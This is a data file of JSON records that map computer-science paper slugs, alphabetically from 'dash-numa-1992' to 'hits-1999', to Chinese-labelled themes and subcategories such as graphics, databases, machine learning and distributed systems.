-{"slug":"dash-numa-1992","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"dataflow-model-2015","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"davis-putnam-1960","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"dcn-2017","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"ddim-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"ddpm","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"生成模型","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"debate-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"deberta-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"debevec-1998-rendering-with-natural-light","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"debugging-dichotomy","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程实证","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"decision-transformer-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"deepseek-coder-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"deepseek-r1","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"deepspeed-zero","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"deering-1988-triangle-processor","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"demikernel-2021","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"denali-2002","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"dense360-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"desbrun-1999-implicit-fairing","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"dewitt-gray-1992","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"differential-datalog","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"diffie-hellman-1976","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"diffie-hellman","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"密码学","source":"category","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"dijkstra-1965","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"dijkstra-goto","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程 / 控制流理论","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"dijkstra-shortest-path","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"算法","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"din-2018","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"dingledine-mixminion-2003","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"dino","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"自监督视觉","source":"slugOverrides","confidence":"high","rawCategory":"机器学习"} -{"slug":"disco-1997","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"disel-2018","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"diskann-2019","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"disney-brdf-2012","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"distserve","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"dit","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"生成模型","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"dlrm-2019","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"dns","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"category","confidence":"high","rawCategory":"网络协议"} -{"slug":"doc2query-2019","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"doligez-leroy-concurrent-gc","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"donar-2010","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"dot-doh-perf-2020","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"double-descent-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"dpll-1962","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"dpo","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"dpr-2020","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"dqn","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"强化学习","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"dreamfusion-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"drizzle-2017","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"drmm-2016","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"dropout-2014","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"dspy","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"dssm-2013","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"dstreams-2013","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"ducas-dilithium-2018","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"duchi-local-dp-2013","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"duckdb-2019","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"dwork-calibrating-noise-2006","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"dwork-dp-icalp-2006","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"dwork-our-data-ourselves-2006","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"dynamo","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"e5-2022","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"eagle","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"earley-parser","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"easycrypt-2011","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"ebpf","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"操作系统","source":"category","confidence":"high","rawCategory":"操作系统"} -{"slug":"edm-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"effect-handlers","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"effiskill","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"egoschema-2023","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"electra-2020","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"elmo-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"emqx","area":"papers","theme":"基础设施","themeId":"infrastructure","subcategory":"infrastructure","source":"category","confidence":"high","rawCategory":"基础设施"} -{"slug":"epaxos-2013","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"erlang-otp","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言 / 分布式系统","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"erlingsson-rappor-2014","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"eros-1999","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"eswaran-1976","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"esx-memory-2002","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"ethane-2007","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"eve-agent-evidence","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"evo-memory-2511","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"exg-experience-graphs","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} -{"slug":"exokernel-1995","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"f1-2013","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"f4-2014","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"faiss-2017","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"fan-vercauteren-bfv-2012","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"farsite-2002","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"fast-paxos-2006","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"fastertransformer-2021","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"fat-tree-2008","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"feautrier-polyhedral","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"fermi-architecture-2010","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"ffs-1984","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"fidge-1988","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"fielding-rest-2000","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"filip-2021","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"firecracker-2020","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"flamingo-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"flan-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"flash-attention","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 与系统","source":"category","confidence":"high","rawCategory":"图形学"} -{"slug":"flash-vstream-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"flexible-paxos-2016","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"flexsc-2010","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"flink-2015","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"flink-snapshots-2015","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"flp-1985","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"foundationdb-2021","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"fpga-hls-2011","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"frama-c-2012","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"frangipani-1997","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"frank-effects","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"freedman-psi-2004","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"frenetic-2011","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"fsdp-2023","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"fsrs-spaced-repetition","area":"papers","theme":"其他","themeId":"other","subcategory":"学习与认知","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"fstar","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"g1-collector","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"gabizon-plonk-2019","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"gadt-pjones","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"game-semantics-pcf","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"gao-2001-as-relations","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"garland-heckbert-1997-qem","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"gat-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"gbrank-2007","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"gcc-webrtc-2016","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"gcn-2017","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"gemini-1.5-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"多模态 LLM","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"generational-gc","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"gentry-fhe-2009","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"gfs","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"分布式系统","source":"category","confidence":"high","rawCategory":"分布式系统"} -{"slug":"ghost-2021","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"gilbert-lynch-2002","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"gin-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"glue-2018","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"gmw-mental-game-1987","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"goal-misgeneralization-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"godel-1931","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"数学逻辑 / 计算理论","source":"category","confidence":"high","rawCategory":"形式化方法"} -{"slug":"goldsmith-1987-bvh","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"goodfellow-fgsm-2014","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"google-1998","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"goral-1984-radiosity","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"gortler-1996-lumigraph","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"gpipe-2019","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"gpt-3","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"gptq-2023","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"gpu-cache-coherence-2013","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"gpu-microbenchmarking-2010","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"gpudirect-rdma-2014","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"graalvm-truffle","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"gradual-typing","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"graf-saidi-1997","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"granule","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"graphormer-2021","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"graphrag","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"AI / NLP","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"graphsage-2017","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"gray-1978-notes","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"gray-1981-transaction","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"great-swe","area":"papers","theme":"其他","themeId":"other","subcategory":"软件工程","source":"category","confidence":"high","rawCategory":"其他"} -{"slug":"grokking-2022","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"grounded-videollm-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"gru-2014","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"gshard-2020","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"GPU 架构","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"hacl-star-2017","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"halide","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"hamming-1950","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"信息论","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"hanrahan-1991-hierarchical-radiosity","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"haven-2014","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"hawkeye-2024","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"haystack-2010","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"hazard-pointers-2004","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"hdfs-2010","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"heartbleed-2014","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"heckbert-1986-texture-survey","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"helium-type-errors","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"helland-2007","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"herlihy-moss-tm","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"hewitt-actor-model","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"hindley-milner","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"hits-1999","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} 